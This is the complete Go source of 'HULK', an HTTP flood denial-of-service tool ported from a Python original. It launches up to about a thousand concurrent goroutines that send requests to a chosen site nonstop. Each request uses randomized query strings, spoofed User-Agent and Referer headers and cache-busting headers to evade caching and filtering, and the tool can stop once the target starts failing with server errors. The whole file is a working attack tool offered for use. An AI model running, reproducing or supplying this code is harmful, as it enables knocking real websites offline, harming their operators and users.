package main /* HULK DoS tool on steroids goroutines. Just ported from Python with some improvements. Original Python utility by Barry Shteiman http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/ This go program licensed under GPLv3. Copyright Alexander I.Grafov */ import ( "flag" "fmt" "io/ioutil" "math/rand" "net/http" "net/url" "os" "os/signal" "strconv" "strings" "sync/atomic" "syscall" ) const __version__ = "1.0.1" // const acceptCharset = "windows-1251,utf-8;q=0.7,*;q=0.7" // use it for runet const acceptCharset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7" const ( callGotOk uint8 = iota callExitOnErr callExitOnTooManyFiles targetComplete ) // global params var ( safe bool = false headersReferers []string = []string{ "http://www.google.com/?q=", "http://www.usatoday.com/search/results?q=", "http://engadget.search.aol.com/search?q=", //"http://www.google.ru/?hl=ru&q=", //"http://yandex.ru/yandsearch?text=", } headersUseragents []string = []string{ "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Vivaldi/1.3.501.6", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)", "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)", "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", } cur int32 ) type arrayFlags []string func (i *arrayFlags) String() string { return "[" + strings.Join(*i, ",") + "]" } func (i *arrayFlags) Set(value string) error { *i = append(*i, value) return nil } func main() { var ( version bool site string agents string data string headers arrayFlags ) flag.BoolVar(&version, "version", false, "print version and exit") flag.BoolVar(&safe, "safe", false, "Autoshut after dos.") flag.StringVar(&site, "site", "http://localhost", "Destination site.") flag.StringVar(&agents, "agents", "", "Get the list of user-agent lines from a file. By default the predefined list of useragents used.") flag.StringVar(&data, "data", "", "Data to POST. If present hulk will use POST requests instead of GET") flag.Var(&headers, "header", "Add headers to the request. Could be used multiple times") flag.Parse() t := os.Getenv("HULKMAXPROCS") maxproc, err := strconv.Atoi(t) if err != nil { maxproc = 1023 } u, err := url.Parse(site) if err != nil { fmt.Println("err parsing url parameter\n") os.Exit(1) } if version { fmt.Println("Hulk", __version__) os.Exit(0) } if agents != "" { if data, err := ioutil.ReadFile(agents); err == nil { headersUseragents = []string{} for _, a := range strings.Split(string(data), "\n") { if strings.TrimSpace(a) == "" { continue } headersUseragents = append(headersUseragents, a) } } else { fmt.Printf("can'l load User-Agent list from %s\n", agents) os.Exit(1) } } go func() { fmt.Println("-- HULK Attack Started --\n Go!\n\n") ss := make(chan uint8, 8) var ( err, sent int32 ) fmt.Println("In use |\tResp OK |\tGot err") for { if atomic.LoadInt32(&cur) < int32(maxproc-1) { go httpcall(site, u.Host, data, headers, ss) } if sent%10 == 0 { fmt.Printf("\r%6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err) } switch <-ss { case callExitOnErr: atomic.AddInt32(&cur, -1) err++ case callExitOnTooManyFiles: atomic.AddInt32(&cur, -1) maxproc-- case callGotOk: sent++ case targetComplete: sent++ fmt.Printf("\r%-6d of max %-6d |\t%7d |\t%6d", cur, maxproc, sent, err) fmt.Println("\r-- HULK Attack Finished -- \n\n\r") os.Exit(0) } } }() ctlc := make(chan os.Signal) signal.Notify(ctlc, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM) <-ctlc fmt.Println("\r\n-- Interrupted by user -- \n") } func httpcall(url string, host string, data string, headers arrayFlags, s chan uint8) { atomic.AddInt32(&cur, 1) var param_joiner string var client = new(http.Client) if strings.ContainsRune(url, '?') { param_joiner = "&" } else { param_joiner = "?" } for { var q *http.Request var err error if data == "" { q, err = http.NewRequest("GET", url+param_joiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil) } else { q, err = http.NewRequest("POST", url, strings.NewReader(data)) } if err != nil { s <- callExitOnErr return } q.Header.Set("User-Agent", headersUseragents[rand.Intn(len(headersUseragents))]) q.Header.Set("Cache-Control", "no-cache") q.Header.Set("Accept-Charset", acceptCharset) q.Header.Set("Referer", headersReferers[rand.Intn(len(headersReferers))]+buildblock(rand.Intn(5)+5)) q.Header.Set("Keep-Alive", strconv.Itoa(rand.Intn(10)+100)) q.Header.Set("Connection", "keep-alive") q.Header.Set("Host", host) // Overwrite headers with parameters for _, element := range headers { words := strings.Split(element, ":") q.Header.Set(strings.TrimSpace(words[0]), strings.TrimSpace(words[1])) } r, e := client.Do(q) if e != nil { fmt.Fprintln(os.Stderr, e.Error()) if strings.Contains(e.Error(), "socket: too many open files") { s <- callExitOnTooManyFiles return } s <- callExitOnErr return } r.Body.Close() s <- callGotOk if safe { if r.StatusCode >= 500 { s <- targetComplete } } } } func buildblock(size int) (s string) { var a []rune for i := 0; i < size; i++ { a = append(a, rune(rand.Intn(25)+65)) } return string(a) }